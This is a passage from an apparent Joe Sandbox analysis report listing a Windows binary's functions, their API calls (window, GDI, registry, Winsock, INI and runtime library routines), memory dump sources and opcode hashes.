    • Opcode Fuzzy Hash: bf52db12d3d9933b844a19cd8c859c7f95544091a9fd9c7a58190ead5e102cca
    • Instruction Fuzzy Hash: 5E117C72600209EFDB258F66CC44B9A7BE8FB513A2F10487AE546E71D0D734DA50CA98
    Function 0044AEC1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 53COMMONLIBRARYCODE
    Download Yara Rule
    APIs
    • __lock.LIBCMT ref: 0044AECF
      • Part of subcall function 0044C6DB: RtlEnterCriticalSection.NTDLL(?), ref: 0044C703
    • GetCurrentProcess.KERNEL32(?,0045B120,00000008,0044AFA2,?,00000001,00000000,00454705,00000003), ref: 0044AEE8
    • TerminateProcess.KERNEL32(00000000), ref: 0044AEEF
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Process$CriticalCurrentEnterSectionTerminate__lock
    • String ID: HPF$TPF
    • API String ID: 3423101658-1347700362
    • Opcode ID: 01c87344a4cae5e3681496b825a42178ba2a6b050c6aa545966f9789e09d8f4c
    • Instruction ID: 94eac9cb3b00db43925a1aac6e74254190fb75927c93439ef9a830854e02c62f
    • Opcode Fuzzy Hash: 01c87344a4cae5e3681496b825a42178ba2a6b050c6aa545966f9789e09d8f4c
    • Instruction Fuzzy Hash: 4211E971881610EFEB11AF65DC0514E7B65EB40715B20852BF4504A1A2EF7C88A68B5F
    Function 00409CDF Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 46windowCOMMON
    Download Yara Rule
    APIs
    • CreateWindowExW.USER32(?,?,00000000,?,?,?,?,?,?,?,?,?), ref: 00409D15
    • GetStockObject.GDI32(00000011), ref: 00409D2B
    • SendMessageW.USER32(00000000,00000030,00000000), ref: 00409D35
    • ShowWindow.USER32(00000000,00000000,?,0040AA2A,?,Combobox,00000000,00000000,?,?,?,?,00000000,00000000,00000001,?), ref: 00409D4D
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Window$CreateMessageObjectSendShowStock
    • String ID: P
    • API String ID: 1358664141-3110715001
    • Opcode ID: 80a01e5952e50f59478d35168b5b5eb0f65f36e5d1155f84b8e4c2303647d9f8
    • Instruction ID: 7eed761070e5c0e1afa5280e21cb20fe8a54fd27ed28cfac5585aa4bc5c1357b
    • Opcode Fuzzy Hash: 80a01e5952e50f59478d35168b5b5eb0f65f36e5d1155f84b8e4c2303647d9f8
    • Instruction Fuzzy Hash: 99015773104289BFDF124FA09C88EEA3F6AAF88355F058129FB54511A2C3368CA5EB15
    Function 0040CBA4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33COMMON
    Download Yara Rule
    APIs
      • Part of subcall function 0040CCF8: DeleteObject.GDI32(?), ref: 0040CD3D
      • Part of subcall function 0040CCF8: ExtCreatePen.GDI32(?,?,?,00000000,00000000,?,?), ref: 0040CD84
      • Part of subcall function 0040CCF8: SelectObject.GDI32(?,00000000), ref: 0040CD94
      • Part of subcall function 0040CCF8: BeginPath.GDI32(?), ref: 0040CDAE
      • Part of subcall function 0040CCF8: SelectObject.GDI32(?,00000000), ref: 0040CDCD
    • MoveToEx.GDI32(?,?,?,00000000), ref: 0040CBC9
    • LineTo.GDI32(?,?,?), ref: 0040CBD6
    • EndPath.GDI32(?), ref: 0040CBE8
    • StrokePath.GDI32(?), ref: 0040CBF2
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ObjectPath$Select$BeginCreateDeleteLineMoveStroke
    • String ID: s
    • API String ID: 2783949968-453955339
    • Opcode ID: 47ea1dba58f7e82b7ac036a59097fcfdc4d59cfee1255a3750341a2d29e0b913
    • Instruction ID: 7addbb669f48b3f8bb91b73a7c195707b1c7606dfb2b93494881525acfad2860
    • Opcode Fuzzy Hash: 47ea1dba58f7e82b7ac036a59097fcfdc4d59cfee1255a3750341a2d29e0b913
    • Instruction Fuzzy Hash: 0EF0E931100209FBDF221F649C49FEE3FB45B46B12F044529FE14B12D2CB798851E7A9
    Function 00454432 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 29libraryloaderCOMMONLIBRARYCODE
    Download Yara Rule
    APIs
    • GetModuleHandleA.KERNEL32(kernel32.dll,0045C190,00000010,0044C68C,00000000,00000FA0,0045B3A0,00000008,0044C6F4,?,?,?,00449A5F,00000004,0045B068,0000000C), ref: 00454455
    • GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionAndSpinCount), ref: 00454465
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressHandleModuleProc
    • String ID: InitializeCriticalSectionAndSpinCount$`Wu$kernel32.dll
    • API String ID: 1646373207-3480659538
    • Opcode ID: b2281aa7dc65de71af2c7f2e0e9f86939ad9221b3d5d80ab7c10ad16ea6640b2
    • Instruction ID: ab1926dd2af41fa3029d16cc9033a7aba392298642699e74dd3f1240ded0750e
    • Opcode Fuzzy Hash: b2281aa7dc65de71af2c7f2e0e9f86939ad9221b3d5d80ab7c10ad16ea6640b2
    • Instruction Fuzzy Hash: 96F09070580301ABDF249FB59C45B5936E0BB4575EF208626FC10992A3E77C8A8AEB0D
    Function 004551AD Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 13libraryloaderCOMMONLIBRARYCODE
    Download Yara Rule
    APIs
    • GetModuleHandleA.KERNEL32(KERNEL32,0044DC95), ref: 004551B2
    • GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 004551C2
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressHandleModuleProc
    • String ID: IsProcessorFeaturePresent$KERNEL32$`Wu
    • API String ID: 1646373207-675240960
    • Opcode ID: fc31ca84f5e165f95252b0e62b8a217bca41735e7ac5cce235b2bdaf83c21cb6
    • Instruction ID: 40fc8ca460b8c6a49fdf777bf37c8c5f379354e5d7432fbb057b73973fbd7f2c
    • Opcode Fuzzy Hash: fc31ca84f5e165f95252b0e62b8a217bca41735e7ac5cce235b2bdaf83c21cb6
    • Instruction Fuzzy Hash: 1EC04070785F05F7DE105BB15CA97373A585B44B43F244456BC09D05D3DE5CC908D52D
    Function 00451219 Relevance: 7.7, APIs: 5, Instructions: 189COMMONLIBRARYCODE
    Download Yara Rule
    APIs
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: __set_statfp
    • String ID:
    • API String ID: 441778723-0
    • Opcode ID: 52ae6cc645bf3ce7b1888e412e0c71e2239a1c70beff03525a624c2e7823df0f
    • Instruction ID: aafa024366cfe14e36a4ce7ed12ccb1bd2abc6eada7316b3c0f4e51b7e6ebd75
    • Opcode Fuzzy Hash: 52ae6cc645bf3ce7b1888e412e0c71e2239a1c70beff03525a624c2e7823df0f
    • Instruction Fuzzy Hash: EB513731800E19D3EB144B94D8587AE7B70FF4135AF1946AADCE0A62F6CB78486DC34D
    Function 00454A84 Relevance: 7.7, APIs: 5, Instructions: 184COMMON
    Download Yara Rule
    APIs
    • VirtualQuery.KERNEL32(?,?,0000001C,?,?,?,?,?,0044D815,?), ref: 00454B37
    • InterlockedExchange.KERNEL32(00467970,00000001), ref: 00454BB5
    • InterlockedExchange.KERNEL32(00467970,00000000), ref: 00454C1A
    • InterlockedExchange.KERNEL32(00467970,00000001), ref: 00454C3E
    • InterlockedExchange.KERNEL32(00467970,00000000), ref: 00454C9E
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ExchangeInterlocked$QueryVirtual
    • String ID:
    • API String ID: 2947987494-0
    • Opcode ID: d3930fd77430739b71b2632bfe3ca3d3c1fc5acb29cc6cdf36d9155b892b8d0a
    • Instruction ID: c5d8ed88eee3e8925b2251e902281fd8498e535b2407cacacb70f59125c8bbb1
    • Opcode Fuzzy Hash: d3930fd77430739b71b2632bfe3ca3d3c1fc5acb29cc6cdf36d9155b892b8d0a
    • Instruction Fuzzy Hash: F0510A306556108FDB2A8F19C88476A73E1ABC571EF25412BDD528F293E378DCC9864D
    Function 0044DA7D Relevance: 7.7, APIs: 5, Instructions: 166COMMON
    Download Yara Rule
    APIs
    • WideCharToMultiByte.KERNEL32(?,00000000,0047E800,?,?,?,00000000,0047E800,?,00000010,00000000,?,00428642,?,0047E800,?), ref: 0044DB29
    • WideCharToMultiByte.KERNEL32(?,00000000,0047E800,000000FF,?,?,00000000,0047E800,?,00000010,00000000,?,00428642,?,0047E800,?), ref: 0044DB51
    • GetLastError.KERNEL32(?,00428642,?,0047E800,?), ref: 0044DB6C
    • WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,?,00000000,0047E800,?,00428642,?,0047E800,?), ref: 0044DBAC
    • WideCharToMultiByte.KERNEL32(?,00000000,0047E800,000000FF,00000000,00000000,00000000,0047E800,?,00000010,00000000,?,00428642,?,0047E800,?), ref: 0044DC0A
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ByteCharMultiWide$ErrorLast
    • String ID:
    • API String ID: 1717984340-0
    • Opcode ID: daf0ff7e96761f6d101a695ae533b38d38fb8ff934d62b7ca8e466a06cf05df1
    • Instruction ID: f0777e9540ddcf14f99e18fd38f2961c8e9e3acc4c0c3b114796979fdd6f36af
    • Opcode Fuzzy Hash: daf0ff7e96761f6d101a695ae533b38d38fb8ff934d62b7ca8e466a06cf05df1
    • Instruction Fuzzy Hash: 5F5189B1D0028AAFAF209F94CD848BFB7BAEB45314B26453FE51196250D734AD44CB69
    Function 0043C3F2 Relevance: 7.7, APIs: 5, Instructions: 151registryCOMMON
    Download Yara Rule
    APIs
    • RegConnectRegistryW.ADVAPI32(?,00000000,00000000), ref: 0043C499
    • RegOpenKeyExW.ADVAPI32(00000000,?,00000000,?,00000000), ref: 0043C4DE
    • RegEnumKeyExW.ADVAPI32(00000001,-00000001,?,000000FF,00000000,00000000,00000000,?), ref: 0043C532
    • RegCloseKey.ADVAPI32(00000001,?), ref: 0043C56B
      • Part of subcall function 0041FE6D: GetLastError.KERNEL32(00000000,0047C7A0,00000FFF,00000000,00430AD3), ref: 0041FE82
      • Part of subcall function 0041FE6D: FormatMessageW.KERNEL32(00001000,00000000,0047C7A0,00000000,0047C7A0,00000FFF,00000000,00430AD3), ref: 0041FE96
    • RegCloseKey.ADVAPI32(00000000), ref: 0043C579
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Close$ConnectEnumErrorFormatLastMessageOpenRegistry
    • String ID:
    • API String ID: 2844598385-0
    • Opcode ID: 79d8a1356644622c004dde99381a4694f708576a429563848669301cf1acc8f1
    • Instruction ID: ca18b23deec50a713599ee99bd298669572856c6e0ae2ddf99e87897c19de7b6
    • Opcode Fuzzy Hash: 79d8a1356644622c004dde99381a4694f708576a429563848669301cf1acc8f1
    • Instruction Fuzzy Hash: F1514D72800118FBCF10EFA1D8869EE7779EF18324F14455AF505A7152DB38EE85DBA8
    Function 0044D560 Relevance: 7.7, APIs: 5, Instructions: 151COMMON
    Download Yara Rule
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID:
    • String ID:
    • API String ID:
    • Opcode ID: e3fcddccb7fb5d548f2eb15bee4913da0b76aa550ee592dd70d90c3dc4b37c31
    • Instruction ID: 3f26043b1fee1b9c9fc7dfd08f39e7adaabf58cb7090512c6284b74f89030849
    • Opcode Fuzzy Hash: e3fcddccb7fb5d548f2eb15bee4913da0b76aa550ee592dd70d90c3dc4b37c31
    • Instruction Fuzzy Hash: 99410571D00225ABFF307FA69C848AF7A64EB05318711463FF819A6292DB3D4D00CB9D
    Function 0042F107 Relevance: 7.6, APIs: 5, Instructions: 142networkCOMMON
    Download Yara Rule
    APIs
    • select.WS2_32(00000000,00000001,00000000,00000000,?), ref: 0042F19C
    • WSAGetLastError.WS2_32(00000000,0045C6D0), ref: 0042F1A7
    • __WSAFDIsSet.WS2_32(00000000,00000001), ref: 0042F1D1
    • _strlen.LIBCMT ref: 0042F227
      • Part of subcall function 0041684E: _strlen.LIBCMT ref: 0041685F
      • Part of subcall function 0041684E: MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,00000000,?,0047BD30,?,?,00410545,00000000), ref: 00416879
      • Part of subcall function 0041684E: MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,0047BD30,?,?,00410545,00000000), ref: 00416898
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ByteCharMultiWide_strlen$ErrorLastselect
    • String ID:
    • API String ID: 3011618667-0
    • Opcode ID: 8740fd59fb79ba9ee8805b8c3b106299e716106ab90322acfc2372d10890ddfd
    • Instruction ID: 49a0b57b1716e881498c6cccfb7f5a7b1c7207353685988fd0dcfc9e43c18dba
    • Opcode Fuzzy Hash: 8740fd59fb79ba9ee8805b8c3b106299e716106ab90322acfc2372d10890ddfd
    • Instruction Fuzzy Hash: C3410435600218EBDB20EAA5D8819EF73B8EF05324F9045BFF815D7251DB38ED448B69
    Function 00426415 Relevance: 7.6, APIs: 5, Instructions: 116COMMON
    Download Yara Rule
    APIs
    • GetPrivateProfileSectionW.KERNEL32(00000000,?,00007FFF,?), ref: 004264A4
    • GetPrivateProfileSectionW.KERNEL32(00000000,?,00000003,?), ref: 004264D2
    • WritePrivateProfileSectionW.KERNEL32(00000000,?,?), ref: 00426512
    • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00426540
    • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 0042654C
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: PrivateProfile$SectionWrite$String
    • String ID:
    • API String ID: 2832842796-0
    • Opcode ID: 8f719fff5e83398928dd831625c1d3b39390cd97dfba9a082a54ed380818f0d3
    • Instruction ID: 090de75c44e30297ca10da119c2b442c0f809bd188c017535f1850e90268234a
    • Opcode Fuzzy Hash: 8f719fff5e83398928dd831625c1d3b39390cd97dfba9a082a54ed380818f0d3
    • Instruction Fuzzy Hash: 58418335A0022AEBDB10EB56DC44E9AB7B8FF04324F45819BE544A7641CB38FD85CF98
    Function 00417AB2 Relevance: 7.6, APIs: 5, Instructions: 108sleepCOMMON
    Download Yara Rule
    APIs
    • InterlockedIncrement.KERNEL32(004783F4), ref: 00417ADC
    • InterlockedDecrement.KERNEL32(004783F4), ref: 00417AED
    • Sleep.KERNEL32(0000000A,?,?), ref: 00417AF5
    • InterlockedIncrement.KERNEL32(004783F4), ref: 00417AFC
    • InterlockedDecrement.KERNEL32(004783F4), ref: 00417BF6
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Interlocked$DecrementIncrement$Sleep
    • String ID:
    • API String ID: 327565842-0
    • Opcode ID: 90fc57a381e00715e35afd465dc5a8ff7c57ea430ae1844c7da5232fb6eedf94
    • Instruction ID: e540b121462b817b5aae6ec427a49763a98f73807a2fb50418b342084706f20a
    • Opcode Fuzzy Hash: 90fc57a381e00715e35afd465dc5a8ff7c57ea430ae1844c7da5232fb6eedf94
    • Instruction Fuzzy Hash: FE41AF32804106DFDB04DF68DD45AEE73B4EF44349B11402EE919A7262DB39AE85CBD8
    Function 0044C70C Relevance: 7.6, APIs: 5, Instructions: 99COMMON
    Download Yara Rule
    APIs
    • MultiByteToWideChar.KERNEL32(00000000,00000009,00420EA3,000000FF,?,00000028,00000000,004184C3,00000000,?,?,0044C82E,?,?,?,?), ref: 0044C771
    • GetLastError.KERNEL32(?,?,0044C82E,?,?,?,?,00449209,004184C3,?,00000028,00420EA3,?,004783F4,00000000), ref: 0044C77B
    • MultiByteToWideChar.KERNEL32(00000000,00000001,00420EA3,00420EA3,?,00000028,?,?,0044C82E,?,?,?,?,00449209,004184C3,?), ref: 0044C7D0
    • _strlen.LIBCMT ref: 0044C7E3
    • MultiByteToWideChar.KERNEL32(00000000,00000009,00420EA3,000000FF,00000000,00000000,00000000,004184C3,00000000,?,?,0044C82E,?,?,?,?), ref: 0044C7F7
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
